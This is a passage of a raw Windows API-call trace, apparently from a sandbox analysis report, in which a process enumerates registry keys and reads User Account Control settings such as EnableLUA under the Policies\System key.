[0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x115b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x115b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x115b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0x115b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x115b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x115b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x115b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x115b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0x115b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x115b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x115b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x115b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x115b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0169.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x115b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x115b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x115b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x115b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x115b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x115b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x115b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x115b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x115b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x115b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x115b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x115b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x115b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x115b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x115b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x115b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x115b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0169.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x115b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x115b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x115b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x115b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x115b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x115b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x115b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x115b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x115b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x115b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x115b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x115b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x115b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x115b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x115b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x115b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x115b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x115b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0169.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x115b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x115b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x115b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x115b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x115b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0x115b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x115b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x115b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x115b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x115b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x115b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x115b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x115b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x115b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x115b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x115b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x115b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0169.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x115b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0169.080] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x35f438 | out: phkResult=0x35f438*=0xa0) returned 0x0 [0169.080] RegCloseKey (hKey=0x24) returned 0x0 [0169.080] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x115b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0169.080] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x35f438 | out: phkResult=0x35f438*=0x24) returned 0x0 [0169.080] RegCloseKey (hKey=0xa0) returned 0x0 [0169.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x115b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0169.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x115b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0169.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x115b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0169.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x115b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0169.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x115b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0169.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x115b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0169.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x115b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0169.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x115b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0169.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x115b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0169.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x115b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0169.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x115b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0169.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x115b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x115b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x115b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x115b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x115b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x115b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x115b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x115b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x115b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x115b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x115b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x115b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x115b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x115b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x115b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x115b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x115b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x115b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0169.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x115b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x115b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x115b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x115b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x115b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x115b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x115b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x115b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x115b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x115b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x115b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0169.082] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x35f438 | out: phkResult=0x35f438*=0xa0) returned 0x0 [0169.082] RegCloseKey (hKey=0x24) returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x115b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x115b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x115b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x115b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0169.082] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x115b930, cchName=0x104 | out: lpName="System") returned 0x0 [0169.082] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x35f438 | out: phkResult=0x35f438*=0x24) returned 0x0 [0169.083] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b930) returned 1 [0169.083] RegCloseKey (hKey=0xa0) returned 0x0 [0169.083] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b860) returned 1 [0169.083] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.083] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.083] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.083] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.083] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.083] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.083] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.083] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.083] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.084] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.084] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.084] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.084] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.084] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.084] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.084] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.084] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0169.084] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x35f450, lpData=0x0, lpcbData=0x35f458*=0x0 | out: lpType=0x35f450*=0x4, lpData=0x0, lpcbData=0x35f458*=0x4) returned 0x0 [0169.084] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x35f450, lpData=0x115c438, lpcbData=0x35f458*=0x4 | out: lpType=0x35f450*=0x4, lpData=0x115c438*=0x1, lpcbData=0x35f458*=0x4) returned 0x0 [0169.084] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c438) returned 1 [0169.084] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c5a0) returned 1 [0169.084] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.084] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115b860 [0169.084] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115b878 [0169.084] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5a0 [0169.084] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.084] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115b888 [0169.084] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c438 [0169.084] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.084] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115b898 [0169.084] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c558 [0169.085] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115b930 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c510 [0169.085] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x20) returned 0x115b940 [0169.085] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b860) returned 1 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115b860 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c4c8 [0169.085] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115b968 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c480 [0169.085] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115b978 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c3f0 [0169.085] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115b988 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c3a8 [0169.085] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x30) returned 0x115b998 [0169.085] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b940) returned 1 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115b940 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c360 [0169.085] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", 